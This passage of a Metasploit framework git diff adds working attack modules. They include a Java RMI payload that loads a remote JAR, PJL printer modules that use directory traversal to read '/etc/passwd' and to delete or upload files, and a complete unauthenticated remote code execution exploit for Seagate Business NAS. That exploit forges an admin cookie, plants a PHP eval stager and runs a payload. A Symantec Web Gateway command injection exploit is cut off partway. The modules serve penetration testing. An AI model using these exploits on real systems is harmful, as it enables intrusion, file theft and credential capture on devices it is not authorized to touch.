"\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + stream end end diff --git a/modules/auxiliary/scanner/printer/printer_delete_file.rb b/modules/auxiliary/scanner/printer/printer_delete_file.rb new file mode 100644 index 000000000000..4b561b487732 --- /dev/null +++ b/modules/auxiliary/scanner/printer/printer_delete_file.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" +require "rex/proto/pjl" + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + "Name" => "Printer File Deletion Scanner", + "Description" => %q{ + This module deletes a file on a set of printers using the + Printer Job Language (PJL) protocol. + }, + "Author" => [ + "wvu", # Rex::Proto::PJL and modules + "sinn3r", # RSpec tests + "MC", # Independent mixin and modules + "Myo Soe", # Independent modules + "Matteo Cantoni <goony[at]nothink.org>" # Independent modules + ], + "References" => [ + ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] + ], + "License" => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), + OptString.new("PATH", [true, "Remote path", '0:\..\..\..\eicar.com']) + ], self.class) + end + + def run_host(ip) + path = datastore["PATH"] + + connect + pjl = Rex::Proto::PJL::Client.new(sock) + pjl.begin_job + + pjl.fsinit(path[0..1]) + + if pjl.fsdelete(path) + print_good("#{ip}:#{rport} - Deleted #{path}") + end + + pjl.end_job + disconnect + end + +end diff --git a/modules/auxiliary/scanner/printer/printer_download_file.rb b/modules/auxiliary/scanner/printer/printer_download_file.rb index 4c8b0e4e6051..64c04d999d74 100644 --- a/modules/auxiliary/scanner/printer/printer_download_file.rb +++ b/modules/auxiliary/scanner/printer/printer_download_file.rb @@ -34,19 +34,19 @@ def initialize(info = {}) register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), - OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..\etc\passwd']) + OptString.new("PATH", [true, "Remote path", '0:\..\..\..\etc\passwd']) ], self.class) end def run_host(ip) - pathname = datastore["PATHNAME"] + path = datastore["PATH"] connect pjl = Rex::Proto::PJL::Client.new(sock) pjl.begin_job - pjl.fsinit(pathname[0..1]) - file = pjl.fsupload(pathname) + pjl.fsinit(path[0..1]) + file = pjl.fsupload(path) pjl.end_job disconnect @@ -57,10 +57,10 @@ def run_host(ip) "application/octet-stream", ip, file, - pathname, + path, "Printer file" ) - print_good("#{ip}:#{rport} - Saved #{pathname} as #{res}") + print_good("#{ip}:#{rport} - Saved #{path} as #{res}") end end diff --git a/modules/auxiliary/scanner/printer/printer_list_dir.rb b/modules/auxiliary/scanner/printer/printer_list_dir.rb index eb5ed4dc7caf..49f70ec717a1 100644 --- a/modules/auxiliary/scanner/printer/printer_list_dir.rb +++ b/modules/auxiliary/scanner/printer/printer_list_dir.rb @@ -34,19 +34,19 @@ def initialize(info = {}) register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), - OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..']) + OptString.new("PATH", [true, "Remote path", '0:\..\..\..']) ], self.class) end def run_host(ip) - pathname = datastore["PATHNAME"] + path = datastore["PATH"] connect pjl = Rex::Proto::PJL::Client.new(sock) pjl.begin_job - pjl.fsinit(pathname[0..1]) - listing = pjl.fsdirlist(pathname) + pjl.fsinit(path[0..1]) + listing = pjl.fsdirlist(path) pjl.end_job disconnect diff --git a/modules/auxiliary/scanner/printer/printer_upload_file.rb b/modules/auxiliary/scanner/printer/printer_upload_file.rb new file mode 100644 index 000000000000..3f0fe0229ee5 --- /dev/null +++ b/modules/auxiliary/scanner/printer/printer_upload_file.rb @@ -0,0 +1,61 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" +require "rex/proto/pjl" + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + "Name" => "Printer File Upload Scanner", + "Description" => %q{ + This module uploads a file to a set of printers using the + Printer Job Language (PJL) protocol. + }, + "Author" => [ + "wvu", # Rex::Proto::PJL and modules + "sinn3r", # RSpec tests + "MC", # Independent mixin and modules + "Myo Soe", # Independent modules + "Matteo Cantoni <goony[at]nothink.org>" # Independent modules + ], + "References" => [ + ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] + ], + "License" => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), + OptPath.new("LPATH", [true, "Local path", + File.join(Msf::Config.data_directory, "eicar.com")]), + OptString.new("RPATH", [true, "Remote path", '0:\..\..\..\eicar.com']) + ], self.class) + end + + def run_host(ip) + lpath = datastore["LPATH"] + rpath = datastore["RPATH"] + + connect + pjl = Rex::Proto::PJL::Client.new(sock) + pjl.begin_job + + pjl.fsinit(rpath[0..1]) + + if pjl.fsdownload(lpath, rpath) + print_good("#{rhost}:#{rport} - Saved #{lpath} to #{rpath}") + end + + pjl.end_job + disconnect + end + +end diff --git a/modules/auxiliary/scanner/smb/pipe_auditor.rb b/modules/auxiliary/scanner/smb/pipe_auditor.rb index e7d85feaaae4..ebcd3d6b6e9c 100644 --- a/modules/auxiliary/scanner/smb/pipe_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_auditor.rb @@ -10,8 +10,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated # Scanner mixin should be near last include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb index fe272d4f3db7..7e7a4154a905 100644 --- a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb @@ -10,8 +10,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC # Scanner mixin should be near last diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index cecd4833ccd3..658957578a97 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -7,7 +7,7 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index da13a91f6d58..b5136d13f58a 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -9,8 +9,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC # Scanner mixin should be near last diff --git a/modules/auxiliary/scanner/smb/smb_enumusers.rb b/modules/auxiliary/scanner/smb/smb_enumusers.rb index 4f06379e476d..3238c66dfc19 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers.rb @@ -10,8 +10,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb index 3726abe538c6..5e4ed8e97df1 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb @@ -10,8 +10,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC # Scanner mixin should be near last diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 3e7b47f504e9..257a28b7fe47 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -10,8 +10,8 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 20bf9ae419ce..eddfc7c84164 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -10,8 +10,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb index 422ca47e6a33..9a1c016918c1 100644 --- a/modules/auxiliary/scanner/smb/smb_version.rb +++ b/modules/auxiliary/scanner/smb/smb_version.rb @@ -12,8 +12,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated # Scanner mixin should be near last include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb index 627123561f85..061b3b1c1033 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb @@ -26,7 +26,8 @@ def initialize register_options( [ Opt::CHOST, - Opt::RPORT(30718) + Opt::RPORT(30718), + OptBool.new('CHECK_TCP', [false , 'Check TCP instead of UDP', false]) ], self.class) end @@ -35,26 +36,28 @@ def run_host(ip) password = nil begin - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) - udp_sock = Rex::Socket::Udp.create( { + sock_opts = { 'LocalHost' => datastore['CHOST'] || nil, 'PeerHost' => ip, 'PeerPort' => datastore['RPORT'], - 'Context' => - { + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } - }) - - udp_sock.put(setup_probe) - - res = udp_sock.recvfrom(65535, 0.5) and res[1] - - if res - password = parse_reply(res) + } + if datastore['CHECK_TCP'] + vprint_good("Checking Lantronix TCP Socket #{datastore['RPORT']} on #{ip}") + rem_sock = Rex::Socket::Tcp.create(sock_opts) + else + # Create an unbound UDP socket if no CHOST is specified, otherwise + # create a UDP socket bound to CHOST (in order to avail of pivoting) + vprint_good("Checking Lantronix UDP Socket #{datastore['RPORT']} on #{ip}") + rem_sock = Rex::Socket::Udp.create(sock_opts) end + rem_sock.put(setup_probe) + res = rem_sock.recvfrom(65535, 0.5) and res[1] + + password = parse_reply(res) rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError print_error("Connection error") rescue ::Interrupt @@ -62,7 +65,7 @@ def run_host(ip) rescue ::Exception => e print_error("Unknown error: #{e.class} #{e}") ensure - udp_sock.close if udp_sock + rem_sock.close if rem_sock end if password @@ -71,16 +74,32 @@ def run_host(ip) else print_good("#{rhost} - Telnet password found: #{password.to_s}") - report_auth_info({ - :host => rhost, - :port => 9999, - :sname => 'telnet', - :duplicate_ok => false, - :pass => password.to_s - }) + service_data = { + address: ip, + port: 9999, + service_name: 'telnet', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: password.to_s, + private_type: :password + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) end end - end def parse_reply(pkt) diff --git a/modules/auxiliary/server/capture/mssql.rb b/modules/auxiliary/server/capture/mssql.rb index be39fffabef5..11192e31b68e 100644 --- a/modules/auxiliary/server/capture/mssql.rb +++ b/modules/auxiliary/server/capture/mssql.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer - include Msf::Exploit::Remote::SMBServer + include Msf::Exploit::Remote::SMB::Server include Msf::Auxiliary::Report class Constants diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index 75c46ef0f93b..9182287d3f7b 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Exploit::Remote::SMBServer + include Msf::Exploit::Remote::SMB::Server def initialize super({ diff --git a/modules/exploits/freebsd/samba/trans2open.rb b/modules/exploits/freebsd/samba/trans2open.rb index 2cc5fb027921..56bb34132719 100644 --- a/modules/exploits/freebsd/samba/trans2open.rb +++ b/modules/exploits/freebsd/samba/trans2open.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb new file mode 100644 index 000000000000..2d2be5d0852a --- /dev/null +++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb @@ -0,0 +1,354 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit4 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Seagate Business NAS Unauthenticated Remote Command Execution', + 'Description' => %q{ + Some Seagate Business NAS devices are vulnerable to command execution via a local + file include vulnerability hidden in the language parameter of the CodeIgniter + session cookie. The vulnerability manifests in the way the language files are + included in the code on the login page, and hence is open to attack from users + without the need for authentication. The cookie can be easily decrypted using a + known static encryption key and re-encrypted once the PHP object string has been + modified. + + This module has been tested on the STBN300 device. + }, + 'Author' => [ + 'OJ Reeves <oj[at]beyondbinary.io>' # Discovery and Metasploit module + ], + 'References' => [ + ['CVE', '2014-8684'], + ['CVE', '2014-8686'], + ['CVE', '2014-8687'], + ['EDB', '36202'], + ['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'], + ['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/'] + ], + 'DisclosureDate' => 'Mar 01 2015', + 'Privileged' => true, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Payload' => {'DisableNops' => true}, + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to the application root', '/']), + OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']), + OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']), + OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07']) + ]) + end + + # + # Write a string value to a serialized PHP object without deserializing it first. + # If the value exists it will be updated. + # + def set_string(php_object, name, value) + prefix = "s:#{name.length}:\"#{name}\";s:" + if php_object.include?(prefix) + # the value already exists in the php blob, so update it. + return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"") + end + + # the value doesn't exist in the php blob, so create it. + count = php_object.split(':')[1].to_i + 1 + php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}") + end + + # + # Findez ze holez! + # + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri), + 'method' => 'GET', + 'headers' => { + 'Accept' => 'text/html' + } + ) + + if res && res.code == 200 + headers = res.to_s + + # validate headers + if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28') + # and make sure that the body contains the title we'd expect + if res.body.include?('Login to BlackArmor') + return Exploit::CheckCode::Appears + end + end + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable + # something went wrong, assume safe. + end + + Exploit::CheckCode::Safe + end + + # + # Executez ze sploitz! + # + def exploit + + # Step 1 - Establish a session with the target which will give us a PHP object we can + # work with. + begin + print_status("#{peer} - Establishing session with target ...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri), + 'method' => 'GET', + 'headers' => { + 'Accept' => 'text/html' + } + }) + + if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/ + cookie_value = $1.strip + else + fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.") + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable + fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.") + end + + # Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly + # then update it so that it's an admin session before re-encrypting + print_status("#{peer} - Upgrading session to administrator ...") + php_object = decode_cookie(cookie_value) + vprint_status("#{peer} - PHP Object: #{php_object}") + + admin_php_object = set_string(php_object, 'is_admin', 'yes') + admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT']) + vprint_status("#{peer} - Admin PHP object: #{admin_php_object}") + + admin_cookie_value = encode_cookie(admin_php_object) + + # Step 3 - Extract the current host configuration so that we don't lose it. + host_config = nil + + # This time value needs to be consistent across calls + config_time = ::Time.now.to_i + + begin + print_status("#{peer} - Extracting existing host configuration ...") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'), + 'method' => 'GET', + 'headers' => { + 'Accept' => 'text/html' + }, + 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", + 'vars_get' => { + '_' => config_time + } + ) + + if res && res.code == 200 + res.body.split("\r\n").each do |l| + if l.include?('general_setup') + host_config = l + break + end + end + else + fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.") + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable + fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.") + end + + print_good("#{peer} - Host configuration extracted.") + vprint_status("#{peer} - Host configuration: #{host_config}") + + # Step 4 - replace the host device description with a custom payload that can + # be used for LFI. We have to keep the payload small because of size limitations + # and we can't put anything in with '$' in it. So we need to make a simple install + # payload which will write a required payload to disk that can be executes directly + # as the last part of the payload. This will also be self-deleting. + param_id = rand_text_alphanumeric(3) + + # There are no files on the target file system that start with an underscore + # so to allow for a small file size that doesn't collide with an existing file + # we'll just prefix it with an underscore. + payload_file = "_#{rand_text_alphanumeric(3)}.php" + + installer = "file_put_contents('#{payload_file}', base64_decode($_POST['#{param_id}']));" + stager = Rex::Text.encode_base64(installer) + stager = xml_encode("<?php eval(base64_decode('#{stager}')); ?>") + vprint_status("#{peer} - Stager: #{stager}") + + # Butcher the XML directly rather than attempting to use REXML. The target XML + # parser is way to simple/flaky to deal with the proper stuff that REXML + # spits out. + desc_start = host_config.index('" description="') + 15 + desc_end = host_config.index('"', desc_start) + xml_payload = host_config[0, desc_start] + + stager + host_config[desc_end, host_config.length] + vprint_status(xml_payload) + + # Step 5 - set the host description to the stager so that it is written to disk + print_status("#{peer} - Uploading stager ...") + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'), + 'method' => 'POST', + 'headers' => { + 'Accept' => 'text/html' + }, + 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", + 'vars_get' => { + '_' => config_time + }, + 'vars_post' => { + 'general_setup' => xml_payload + } + ) + + unless res && res.code == 200 + fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).") + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable + fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).") + end + + print_good("#{peer} - Stager uploaded.") + + # Step 6 - Invoke the stage, passing in a self-deleting php script body. + print_status("#{peer} - Executing stager ...") + payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00") + payload_cookie_value = encode_cookie(payload_php_object) + self_deleting_payload = "<?php unlink(__FILE__);\r\n#{payload.encoded}; ?>" + errored = false + + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri), + 'method' => 'POST', + 'headers' => { + 'Accept' => 'text/html' + }, + 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}", + 'vars_post' => { + param_id => Rex::Text.encode_base64(self_deleting_payload) + } + ) + + if res && res.code == 200 + print_good("#{peer} - Stager execution succeeded, payload ready for execution.") + else + print_error("#{peer} - Stager execution failed (invalid result).") + errored = true + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable + print_error("#{peer} - Stager execution failed (unable to establish connection).") + errored = true + end + + # Step 7 - try to restore the previous configuration, allowing exceptions + # to bubble up given that we're at the end. This step is important because + # we don't want to leave a trail of junk on disk at the end. + print_status("#{peer} - Restoring host config ...") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'), + 'method' => 'POST', + 'headers' => { + 'Accept' => 'text/html' + }, + 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", + 'vars_get' => { + '_' => config_time + }, + 'vars_post' => { + 'general_setup' => host_config + } + ) + + # Step 8 - invoke the installed payload, but only if all went to plan. + unless errored + print_status("#{peer} - Executing payload at #{normalize_uri(target_uri, payload_file)} ...") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri, payload_file), + 'method' => 'GET', + 'headers' => { + 'Accept' => 'text/html' + }, + 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}" + ) + end + end + + # + # Take a CodeIgnitor cookie and pull out the PHP object using the XOR + # key that we've been given. + # + def decode_cookie(cookie_content) + cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content)) + pass = xor(cookie_value, datastore['XORKEY']) + result = '' + + (0...pass.length).step(2).each do |i| + result << (pass[i].ord ^ pass[i + 1].ord).chr + end + + result + end + + # + # Take a serialised PHP object cookie value and encode it so that + # CodeIgniter thinks it's legit. + # + def encode_cookie(cookie_value) + rand = Rex::Text.sha1(rand_text_alphanumeric(40)) + + block = '' + + (0...cookie_value.length).each do |i| + block << rand[i % rand.length] + block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr + end + + cookie_value = xor(block, datastore['XORKEY']) + cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value)) + vprint_status("#{peer} - Cookie value: #{cookie_value}") + + cookie_value + end + + # + # XOR a value against a key. The key is cycled. + # + def xor(string, key) + result = '' + + string.bytes.zip(key.bytes.cycle).each do |s, k| + result << (s ^ k) + end + + result + end + + # + # Simple XML substitution because the target XML handler isn't really + # full blown or smart. + # + def xml_encode(str) + str.gsub(/</, '<').gsub(/>/, '>') + end + +end diff --git a/modules/exploits/linux/http/symantec_web_gateway_restore.rb b/modules/exploits/linux/http/symantec_web_gateway_restore.rb new file mode 100644 index 000000000000..46fe21a41f49 --- /dev/null +++ b/modules/exploits/linux/http/symantec_web_gateway_restore.rb @@ -0,0 +1,243 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Symantec Web Gateway 5 restore.php Post Authentication Command Injection", + 'Description' => %q{ + This module exploits a command injection vulnerability found in Symantec Web + Gateway's setting restoration feature. The filename portion can be used to inject + system commands into a syscall function, and gain control under the context of + HTTP service. + + For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user. + However, for version 5.2.1, you must be an administrator. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Egidio Romano', # Original discovery & assist of MSF module + 'sinn3r' + ], + 'References' => + [ + [ 'CVE', '2014-7285' ], + [ 'OSVDB', '116009' ], + [ 'BID', '71620' ], + [ 'URL', 'http://karmainsecurity.com/KIS-2014-19' ], + [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141216_00'] + ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic python' + } + }, + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true, + 'SSLVersion' => 'TLS1' + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['Symantec Web Gateway 5', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Dec 16 2014", # Symantec security bulletin (Vendor notified on 8/10/2014) + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI to Symantec Web Gateway', '/']), + OptString.new('USERNAME', [true, 'The username to login as']), + OptString.new('PASSWORD', [true, 'The password for the username']) + ], self.class) + end + + def protocol + ssl ? 'https' : 'http' + end + + def check + uri = target_uri.path + res = send_request_cgi({'uri' => normalize_uri(uri, 'spywall/login.php')}) + + if res && res.body.include?('Symantec Web Gateway') + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def get_sid + sid = '' + + uri = target_uri.path + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'spywall/login.php'), + 'method' => 'GET', + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while retrieving PHPSESSID') + end + + cookies = res.get_cookies + sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' + + sid + end + + def login(sid) + uri = target_uri.path + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'spywall/login.php'), + 'method' => 'POST', + 'cookie' => sid, + 'headers' => { + 'Referer' => "#{protocol}://#{peer}/#{normalize_uri(uri, 'spywall/login.php')}" + }, + 'vars_post' => { + 